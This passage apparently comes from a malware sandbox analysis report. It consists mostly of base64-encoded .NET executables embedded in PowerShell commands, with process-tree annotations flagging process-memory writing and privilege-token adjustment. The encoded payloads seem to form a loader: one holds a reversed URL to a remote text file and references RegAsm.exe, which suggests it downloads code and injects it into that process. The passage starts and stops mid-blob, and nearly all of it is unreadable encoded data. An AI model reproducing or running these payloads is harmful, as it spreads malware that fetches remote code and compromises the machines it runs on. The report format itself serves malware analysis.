kZGI1MGFiMjQ5N2YzNjcAbV9kMmYyNGM0OWRmMDY0NWMwODgzYTg5ZGMwNjhiZjFlNgBtXzdjMjQwNDEyMWMxMDQyODY4ZTY4OWZkNmZhYjM5ZTQ4AG1fMmE2ZTUwZjNkYzE1NDViMmFjMDI0ODJlZGI2ODMzNmQAbV9iM2ZjM2E4YmE3Zjk0NTAwYjNmZjg3NjczNzQzNzU2NwBtX2Q5NGRlZmI0YzJiYzQwY2FhOGY5OTQxYjcyZjUzZTVlAG1fYTdhOGJiYWI5Y2NmNDJmMGEzMGZjZGZhNWYxNjBjOTYAbV83OTY2MDFkYTlkZDc0YWEyYTI1NDVlMGMyZDk1ODQyMQBtXzdmYTllNzE0NWE2OTRjNGQ5MmE0MDY0ODM2NDc1MmExAG1fMWIzNTVmZjJiNzhkNDE4NjhhNDQzMDY4MjZkNThlY2UAbV9lOWYzMDE3MmU0M2M0MjFjYWI5YzI4ODdiYTRkN2I1OABtXzg2YzFiMzdjOWZhZDRiMzFhMmFiZjQ4YzdkMDQwODU3AG1fYjc1YTgwZGE3ZDYzNDI5YTkyZjk3OWZlZGM0ZWQ5ODIAbV8yODI0YTY4ZmE0MDA0YTZiYTFiYWUxN2Q2MDNkZGFmNwBtXzU3NDY1NTEzZjk1NzRkY2I5MTFjMTU3MzQxMmI1OWUyAG1fYjk3YjgwZjk0ZWJiNGJmZWJmOGI4MTZmYTNkYTVkOGEAbV80ZGRjNzExYjk5YjY0NjQyYTEzZTAzMmJlYmE3ZDQ2NwBtX2I2Y2U3YzllMmFiNDQwZjI4NDFmODE5NmIyYzRhOWEyAG1fMTZkNWQ4YWMyMDg0NGFhZTkyY2VjMzE4NjQxYzUzMGQAbV9jMzIwZGQ4MjI0YmM0ZjlhOTNlYzhjMjkzZjZiZDdlNwBtXzE0MDgwNTQwYWNhNjRiYmM5MjFhYjFjNTkzNDRmZjkwAG1fZGM5YzY4YzU0OTc3NDBkMGI2NTU2NTQ0OGQ3YjYyNWYAbV82ODQ2ZWZiYjBkNGE0ZmJlOWIwNGU4ZTJjODhhYWMwNgBtX2IyZDZkODZiYzUxMTQyN2E4YTBlMmFmZDRlNWZiZWVhAG1fZTViZmU3MTUyYzk3NGUzMjk5OGQ0Y2VhMGU0OTc4M2EAbV8xMjg1M2E2YjFlMTE0NTE1YjI3YmUyNmRmOTdmNzdmNwBtXzAwMGQxMTM4NTM1MTQ0MjM4NzJiNzM4ZmRiODJjMjI3AG1fZjgwZTJmMDZkZGFmNDg2NTg4ZmVhMWMyOGRjMzZkMTQAbV9kNjhiMDc5YjMwNmY0NDNkOTg1YmY1NzNmMTE5NTdjNQBtXzYwMDYxMzZiMDFjZTRhYjE4YmZkNDVjY2Q0MjJmYWIzAG1fYjM3ZGU5YzRhMzE2NGRlZTliYzZiNWI4N2E2NjFhYWIAbV9hOWZiY2U0NGVkNWM0M2EyODM0YzNhZDljYjhlMTc1NwBtXzY4ODQ1Y2E2ZDcyNzQxNzU4NWViNWE1ZDU5OTZhMjIyAG1fNTNlOTI1ZDU5NjM4NDZhNjllYjg0OWVhZDhkY2I1OGIAbV8xOGJiZmI5N2I1NDY0ZDMzOWZjMGVkMWUzNDUwYzEzMQBtX2Y3Zjg0OTgxMzMyYzRkZThhODdiNjM1ZjM4ZTM1MTZkAG1fNGZjZTRmZjY2YzkyNGVkMGFkYWI4ZDA0N2Q2MDE0NzAAbV9lOWI0MDA0YTBmMWQ0MWMyYTBiODQyZTg0MjFlNWI5OQBtX2U2MjdmZTA3NmQ3MjQ1YTU5OTM2MjYwNmE2MjRkNDU0AG1fNjQxMGQ4YTYxNTk2NDE0ZDg5YjNkZGUyZDI5MjU1NzEAbV83YzJlNWIyNjlkMzE0M2ViYWY4ODFjNGM1NDE3MzljNQBtX2Y5MzA5YmUzNDA1NTRmYTI5NWE1OTkxY2M4NzE1MWY4AG1fMmVmZDkxZDlmOThlNGNjYmIwNDBlN2U4NjMwZDRhOTYAbV8zMmY3ZjQwMTdlMzU0NDBiOGIxYzgzNTBmY2RlM2UyOABtX2E0ZWM3ZWNkYWRlMjRmMWNhNDY5MjEzNmNmNjBiMzk4AG1fYjQ4ZjQ4YzE2YjY0NDFjMWJlNTg0MTJmZDllYWI1Y2YAbV8wOTBkMzAzOTVmZmQ0OWZiYmY4OTcxOWZkNDJjNmVjMABtXzJkYjZlNDVlN2ZjYTRjMzliMDdkMmFiNDJhNDlhNzFmAG1fYzhjYWNkMDdiNWNkNDI0ZGE0N2U4MjgzMDc5M2FjNDkAbV80NmM2ODk2NWQ2Mzk0OWZkYjI1Yjc4ZDhhNmJkYmY5MwBtXzA4MzI2YjY1NGJmYTRiNGE4MDFkY2U5NmNiNGY5N2RkAG1fN2I0YzVlODEzY2NkNDc1OTlmY2E1Mzk1MjUwMjQzNjUAbV80MzRhNzJmMjlkN2Q0ZTZjOTUxM2IxMDFiY2JmMzM2OABKck1mY1NKM25hUjJsOFVDNDNwAHM5ZWZkNDhlYzgxZmI0OWMwYTQyOTc4OTQ3YTc5NmQ4MwBlVm1kUkZKY1h4eTk2SXIzbEZtAHo4ZktJZUp5VzJXUkFLR0NJbjUAaFNLVUNhSk1sd0hkVEJEdU5RNgBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2luZ01vZGVzAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBTeXN0ZW0uQ29tcG9uZW50TW9kZWwARWRpdG9yQnJvd3NhYmxlU3RhdGUARGVidWdnZXJIaWRkZW5BdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUASGVscEtleXdvcmRBdHRyaWJ1dGUAU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwAAAAAvQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMwAuAFIAZQBzAG8AdQByAGMAZQBzAAAFAyYDJgADQQAAKUMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBDAGwAYQBzAHMAMQAAB1IAdQBuAAAXXABSAGUAZwBBAHMAbQAuAGUAeABlAABFQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawAAF1wAdgA0AC4AMAAuADMAMAAzADEAOQAAe3QAeAB0AC4AMwAwAGUAcABtAHUAUgAvADMAMAAtAGUAcABtAHUAcgAvAHMAbQBlAHQAaQAvADIAMQAvAGcAcgBvAC4AZQB2AGkAaABjAHIAYQAuAHMAdQAuADMAMAA0ADEAMAA2AGEAaQAvAC8AOgBzAHAAdAB0AGgAAAB7TTTBAYwVSZntAFXQEk0BAAiwP19/EdUKOgi3elxWGTTgiQMgAAEHBhUSGAESDAcGFRIYARIIBwYVEhgBEhkHBhUSGAESFAIGHAMAAAEDBwEIBhUSGAESFAYVEhgBEggGFRIYARIMBhUSGAESGQQAABIMBCAAEwAEAAASCAQAABIZBAAAEhQDAAACBAAAEhAECAASDAQIABIIBAgAEhkECAASFAQgAQIcAyAACAQgABIlAyAADgcQAQEeAB4ABAcBHgACHgAFEAEAHgAECgEeAAcwAQEBEB4ABAABHBwFAAICHBwEAAEIHAYAARIlETUHBhUSOQETAAQHARMABhUSGAETAAYVEjkBEwACEwAECgETAAUgAQETAAMAABwEKAATAAMGEj0DBhJBAwYSHAQAABI9BCAAEkUGIAIBDhJFBAAAEkEFAAEBEkEEAAASHAQIABI9BAgAEkEDBhIgBAAAEiAGAAESSRJJBAgAEiADBhIoBAABAQ4KBwcOCA4IEk0OCAUgAg4ODgUgARJVDgUAAg4ODgQAAQ4OBQABARJNBQABARFhBAAAEmkFAAIBHBwFIAEBEmkFAAIcHBwEIAEODgQAABJtBQABHQUOBiABEkUdBQYAAhIlHBwFIAESJQ4GAAMcHBwcBiACHBwdHAQAABIoAgYIAwYSLAQAABIsCAEACAAAAAAABCABAQgeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAABiABARGAiQUBAAAAAAQgAQEOBCABAQIpAQAkNzkxNzJCMTMtRURCQS00MDk2LUI3MjUtOEU5MkI3MzBCMkJBAAAMAQAHMS4wLjAuMAAASQEAGi5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRIuTkVUIEZyYW1ld29yayA0LjUYAQAKTXlUZW1wbGF0ZQgxMS4wLjAuMAAABSACAQ4OCAEAAQAAAAAABiABARGAvQQBAAAAEAEAC015LkNvbXB1dGVyAAATAQAOTXkuQXBwbGljYXRpb24AAAwBAAdNeS5Vc2VyAAATAQAOTXkuV2ViU2VydmljZXMAAEEBADNTeXN0ZW0uUmVzb3VyY2VzLlRvb2xzLlN0cm9uZ2x5VHlwZWRSZXNvdXJjZUJ1aWxkZXIIMTYuMC4wLjAAAFkBAEtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTYuMi4wLjAAABABAAtNeS5TZXR0aW5ncwAAYQEANFN5c3RlbS5XZWIuU2VydmljZXMuUHJvdG9jb2xzLlNvYXBIdHRwQ2xpZW50UHJvdG9jb2wSQ3JlYXRlX19JbnN0YW5jZV9fE0Rpc3Bvc2VfX0luc3RhbmNlX18AAAAHIAQBDg4ODgAAtAAAAM7K774BAAAAkQAAAGxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlUmVhZGVyLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkjU3lzdGVtLlJlc291cmNlcy5SdW50aW1lUmVzb3VyY2VTZXQCAAAAAAAAAAAAAABQQURQQURQtAAAAAAAAAAAAAAAAAAAAAIAAAAqAAAAjGYAAIxIAABSU0RT737bylVQZUqdcBZWCiRgrAEAAABDbGFzc0xpYnJhcnkzLnBkYgAAAAAAAAAAAAAA6GYAAAAAAAAAAAAA/mYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPB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');powershell.exe -Command $DXkmR; Remove-Item -Path
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$xcaOe = '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